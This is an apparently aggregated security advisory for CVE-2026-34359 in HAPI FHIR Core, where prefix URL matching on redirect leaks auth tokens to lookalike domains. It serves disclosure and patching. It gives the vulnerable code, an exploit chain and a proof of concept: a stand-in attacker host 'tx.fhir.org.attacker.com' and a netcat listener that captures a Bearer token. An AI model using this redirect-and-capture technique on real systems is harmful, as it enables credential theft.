HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect
ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.
The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:
```java
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check
return serverDetails;
}
}
}
return null;
}
```
The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:
```java
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";
```
This means:
"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org") → true"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org") → trueExploit chain via SimpleHTTPClient (redirect path):
1. SimpleHTTPClient.get() (SimpleHTTPClient.java:68-105) makes a request to http://tx.fhir.org/ValueSet/$expand
2. On each redirect, the loop calls getHttpGetConnection(url, accept) (line 84) → setHeaders(connection) (line 117)
3. setHeaders() (line 122-133) calls authProvider.canProvideHeaders(url) and authProvider.getHeaders(url) on the redirect target URL
4. ServerDetailsPOJOHTTPAuthProvider.getServerDetails() (line 83-84) delegates to ManagedWebAccessUtils.getServer(url.toString(), servers)
5. The startsWith() check matches http://tx.fhir.org.attacker.com against http://tx.fhir.org
6. Credentials are dispatched to the attacker's server via ServerDetailsPOJOHTTPAuthProvider.getHeaders() (lines 38-58):
Authorization: Bearer {token}Authorization: Basic {base64(user:pass)}Api-Key: {apikey}Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.
Exploit chain via ManagedFhirWebAccessor (OkHttp path):
ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.
The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.
Step 1: Verify the prefix match behavior
```java
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";
System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
```
Step 2: Demonstrate credential dispatch to wrong host
Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:
```json
{
"servers": [
{
"url": "http://tx.fhir.org",
"authenticationType": "token",
"token": "secret-bearer-token-12345"
}
]
}
```
When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:
1. setHeaders() is called with the redirect target URL
2. authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture")) returns true
3. authProvider.getHeaders(...) returns {"Authorization": "Bearer secret-bearer-token-12345"}
4. The Authorization header with the secret token is sent to tx.fhir.org.attacker.com
Step 3: Attacker captures the credential
```bash
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
```
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE-2026-34359 is classified as CWE-346: Origin Validation Error. The origin of a message or request is not verified properly, so one source can pose as another.
CVE-2026-34359 is recorded against 3 packages.
Published on 30 March 2026 and last revised on 31 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
ca.uhn.hapi.fhir:org.hl7.fhir.core has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-346: Origin Validation Error) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| ca.uhn.hapi.fhir:org.hl7.fhir.core | — | 6.9.4 |
| ca.uhn.hapi.fhir:org.hl7.fhir.utilities | — | 6.9.4 |
| hl7-fhir-core | — | 6.9.4 |
References
Similar Threats
Site Security Check
CVE-2026-34359 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.